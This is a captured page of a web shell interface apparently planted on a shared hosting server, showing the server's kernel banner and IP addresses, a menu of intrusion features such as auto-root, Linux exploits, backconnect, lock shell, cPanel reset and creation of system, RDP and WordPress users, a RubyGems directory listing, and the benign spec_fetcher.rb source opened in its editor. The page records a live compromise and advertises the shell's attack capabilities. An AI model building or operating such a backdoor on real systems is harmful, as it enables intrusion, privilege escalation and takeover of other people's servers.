Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby34 /
share /
rubygems /
rubygems /
[ HOME SHELL ]
Name
Size
Permission
Action
commands
[ DIR ]
drwxr-xr-x
core_ext
[ DIR ]
drwxr-xr-x
defaults
[ DIR ]
drwxr-xr-x
ext
[ DIR ]
drwxr-xr-x
gemcutter_utilities
[ DIR ]
drwxr-xr-x
package
[ DIR ]
drwxr-xr-x
request
[ DIR ]
drwxr-xr-x
request_set
[ DIR ]
drwxr-xr-x
resolver
[ DIR ]
drwxr-xr-x
safe_marshal
[ DIR ]
drwxr-xr-x
security
[ DIR ]
drwxr-xr-x
source
[ DIR ]
drwxr-xr-x
ssl_certs
[ DIR ]
drwxr-xr-x
util
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
available_set.rb
3
KB
-rw-r--r--
basic_specification.rb
8.13
KB
-rw-r--r--
bundler_version_finder.rb
1.96
KB
-rw-r--r--
ci_detector.rb
3.71
KB
-rw-r--r--
command.rb
15.8
KB
-rw-r--r--
command_manager.rb
5.64
KB
-rw-r--r--
compatibility.rb
1022
B
-rw-r--r--
config_file.rb
16.31
KB
-rw-r--r--
defaults.rb
7.38
KB
-rw-r--r--
dependency.rb
8.45
KB
-rw-r--r--
dependency_installer.rb
9.91
KB
-rw-r--r--
dependency_list.rb
5.55
KB
-rw-r--r--
deprecate.rb
5.04
KB
-rw-r--r--
doctor.rb
3.13
KB
-rw-r--r--
errors.rb
4.53
KB
-rw-r--r--
exceptions.rb
7.13
KB
-rw-r--r--
ext.rb
498
B
-rw-r--r--
gem_runner.rb
2.14
KB
-rw-r--r--
gemcutter_utilities.rb
11.29
KB
-rw-r--r--
gemspec_helpers.rb
394
B
-rw-r--r--
install_default_message.rb
349
B
-rw-r--r--
install_message.rb
323
B
-rw-r--r--
install_update_options.rb
6.56
KB
-rw-r--r--
installer.rb
27.74
KB
-rw-r--r--
installer_uninstaller_utils.rb
771
B
-rw-r--r--
local_remote_options.rb
3.59
KB
-rw-r--r--
name_tuple.rb
2.38
KB
-rw-r--r--
openssl.rb
125
B
-rw-r--r--
package.rb
18.83
KB
-rw-r--r--
package_task.rb
3.79
KB
-rw-r--r--
path_support.rb
1.77
KB
-rw-r--r--
platform.rb
8.41
KB
-rw-r--r--
psych_tree.rb
855
B
-rw-r--r--
query_utils.rb
8.5
KB
-rw-r--r--
rdoc.rb
660
B
-rw-r--r--
remote_fetcher.rb
9.38
KB
-rw-r--r--
request.rb
8.7
KB
-rw-r--r--
request_set.rb
11.29
KB
-rw-r--r--
requirement.rb
7.13
KB
-rw-r--r--
resolver.rb
9.43
KB
-rw-r--r--
s3_uri_signer.rb
5.96
KB
-rw-r--r--
safe_marshal.rb
1.92
KB
-rw-r--r--
safe_yaml.rb
1.04
KB
-rw-r--r--
security.rb
21.69
KB
-rw-r--r--
security_option.rb
1.06
KB
-rw-r--r--
source.rb
5.78
KB
-rw-r--r--
source_list.rb
2.42
KB
-rw-r--r--
spec_fetcher.rb
7.68
KB
-rw-r--r--
specification.rb
69.03
KB
-rw-r--r--
specification_policy.rb
15.59
KB
-rw-r--r--
specification_record.rb
5.21
KB
-rw-r--r--
stub_specification.rb
4.96
KB
-rw-r--r--
target_rbconfig.rb
1.24
KB
-rw-r--r--
text.rb
2.06
KB
-rw-r--r--
uninstaller.rb
10.92
KB
-rw-r--r--
unknown_command_spell_checker....
411
B
-rw-r--r--
update_suggestion.rb
1.85
KB
-rw-r--r--
uri.rb
2.38
KB
-rw-r--r--
uri_formatter.rb
784
B
-rw-r--r--
user_interaction.rb
13.1
KB
-rw-r--r--
util.rb
2.46
KB
-rw-r--r--
validator.rb
3.63
KB
-rw-r--r--
vendored_molinillo.rb
81
B
-rw-r--r--
vendored_net_http.rb
233
B
-rw-r--r--
vendored_optparse.rb
79
B
-rw-r--r--
vendored_securerandom.rb
87
B
-rw-r--r--
vendored_timeout.rb
228
B
-rw-r--r--
vendored_tsort.rb
73
B
-rw-r--r--
version.rb
13.35
KB
-rw-r--r--
version_option.rb
2.17
KB
-rw-r--r--
yaml_serializer.rb
2.42
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : spec_fetcher.rb
# frozen_string_literal: true require_relative "remote_fetcher" require_relative "user_interaction" require_relative "errors" require_relative "text" require_relative "name_tuple" ## # SpecFetcher handles metadata updates from remote gem repositories. class Gem::SpecFetcher include Gem::UserInteraction include Gem::Text ## # Cache of latest specs attr_reader :latest_specs # :nodoc: ## # Sources for this SpecFetcher attr_reader :sources # :nodoc: ## # Cache of all released specs attr_reader :specs # :nodoc: ## # Cache of prerelease specs attr_reader :prerelease_specs # :nodoc: @fetcher = nil ## # Default fetcher instance. Use this instead of ::new to reduce object # allocation. def self.fetcher @fetcher ||= new end def self.fetcher=(fetcher) # :nodoc: @fetcher = fetcher end ## # Creates a new SpecFetcher. Ordinarily you want to use the default fetcher # from Gem::SpecFetcher::fetcher which uses the Gem.sources. # # If you need to retrieve specifications from a different +source+, you can # send it as an argument. def initialize(sources = nil) @sources = sources || Gem.sources @update_cache = begin File.stat(Gem.user_home).uid == Process.uid rescue Errno::EACCES, Errno::ENOENT false end @specs = {} @latest_specs = {} @prerelease_specs = {} @caches = { latest: @latest_specs, prerelease: @prerelease_specs, released: @specs, } @fetcher = Gem::RemoteFetcher.fetcher end ## # # Find and fetch gem name tuples that match +dependency+. # # If +matching_platform+ is false, gems for all platforms are returned. def search_for_dependency(dependency, matching_platform=true) found = {} rejected_specs = {} list, errors = available_specs(dependency.identity) list.each do |source, specs| if dependency.name.is_a?(String) && specs.respond_to?(:bsearch) start_index = (0...specs.length).bsearch {|i| specs[i].name >= dependency.name } end_index = (0...specs.length).bsearch {|i| specs[i].name > dependency.name } specs = specs[start_index...end_index] if start_index && end_index end found[source] = specs.select do |tup| if dependency.match?(tup) if matching_platform && !Gem::Platform.match_gem?(tup.platform, tup.name) pm = ( rejected_specs[dependency] ||= \ Gem::PlatformMismatch.new(tup.name, tup.version)) pm.add_platform tup.platform false else true end end end end errors += rejected_specs.values tuples = [] found.each do |source, specs| specs.each do |s| tuples << [s, source] end end tuples = tuples.sort_by {|x| x[0].version } [tuples, errors] end ## # Return all gem name tuples who's names match +obj+ def detect(type=:complete) tuples = [] list, _ = available_specs(type) list.each do |source, specs| specs.each do |tup| if yield(tup) tuples << [tup, source] end end end tuples end ## # Find and fetch specs that match +dependency+. # # If +matching_platform+ is false, gems for all platforms are returned. def spec_for_dependency(dependency, matching_platform=true) tuples, errors = search_for_dependency(dependency, matching_platform) specs = [] tuples.each do |tup, source| spec = source.fetch_spec(tup) rescue Gem::RemoteFetcher::FetchError => e errors << Gem::SourceFetchProblem.new(source, e) else specs << [spec, source] end [specs, errors] end ## # Suggests gems based on the supplied +gem_name+. Returns an array of # alternative gem names. def suggest_gems_from_name(gem_name, type = :latest, num_results = 5) gem_name = gem_name.downcase.tr("_-", "") # All results for 3-character-or-shorter (minus hyphens/underscores) gem # names get rejected, so we just return an empty array immediately instead. return [] if gem_name.length <= 3 max = gem_name.size / 2 names = available_specs(type).first.values.flatten(1) min_length = gem_name.length - max max_length = gem_name.length + max gem_name_with_postfix = "#{gem_name}ruby" gem_name_with_prefix = "ruby#{gem_name}" matches = names.filter_map do |n| len = n.name.length # If the gem doesn't support the current platform, bail early. next unless n.match_platform? # If the length is min_length or shorter, we've done `max` deletions. # This would be rejected later, so we skip it for performance. next if len <= min_length # The candidate name, normalized the same as gem_name. normalized_name = n.name.downcase normalized_name.tr!("_-", "") # If the gem is "{NAME}-ruby" and "ruby-{NAME}", we want to return it. # But we already removed hyphens, so we check "{NAME}ruby" and "ruby{NAME}". next [n.name, 0] if normalized_name == gem_name_with_postfix next [n.name, 0] if normalized_name == gem_name_with_prefix # If the length is max_length or longer, we've done `max` insertions. # This would be rejected later, so we skip it for performance. next if len >= max_length # If we found an exact match (after stripping underscores and hyphens), # that's our most likely candidate. # Return it immediately, and skip the rest of the loop. return [n.name] if normalized_name == gem_name distance = levenshtein_distance gem_name, normalized_name # Skip current candidate, if the edit distance is greater than allowed. next if distance >= max # If all else fails, return the name and the calculated distance. [n.name, distance] end matches = if matches.empty? && type != :prerelease suggest_gems_from_name gem_name, :prerelease else matches.uniq.sort_by {|_name, dist| dist } end matches.map {|name, _dist| name }.uniq.first(num_results) end ## # Returns a list of gems available for each source in Gem::sources. # # +type+ can be one of 3 values: # :released => Return the list of all released specs # :complete => Return the list of all specs # :latest => Return the list of only the highest version of each gem # :prerelease => Return the list of all prerelease only specs # def available_specs(type) errors = [] list = {} @sources.each_source do |source| names = case type when :latest tuples_for source, :latest when :released tuples_for source, :released when :complete names = tuples_for(source, :prerelease, true) + tuples_for(source, :released) names.sort when :abs_latest names = tuples_for(source, :prerelease, true) + tuples_for(source, :latest) names.sort when :prerelease tuples_for(source, :prerelease) else raise Gem::Exception, "Unknown type - :#{type}" end rescue Gem::RemoteFetcher::FetchError => e errors << Gem::SourceFetchProblem.new(source, e) else list[source] = names end [list, errors] end ## # Retrieves NameTuples from +source+ of the given +type+ (:prerelease, # etc.). If +gracefully_ignore+ is true, errors are ignored. def tuples_for(source, type, gracefully_ignore=false) # :nodoc: @caches[type][source.uri] ||= source.load_specs(type).sort_by(&:name) rescue Gem::RemoteFetcher::FetchError raise unless gracefully_ignore [] end end
Close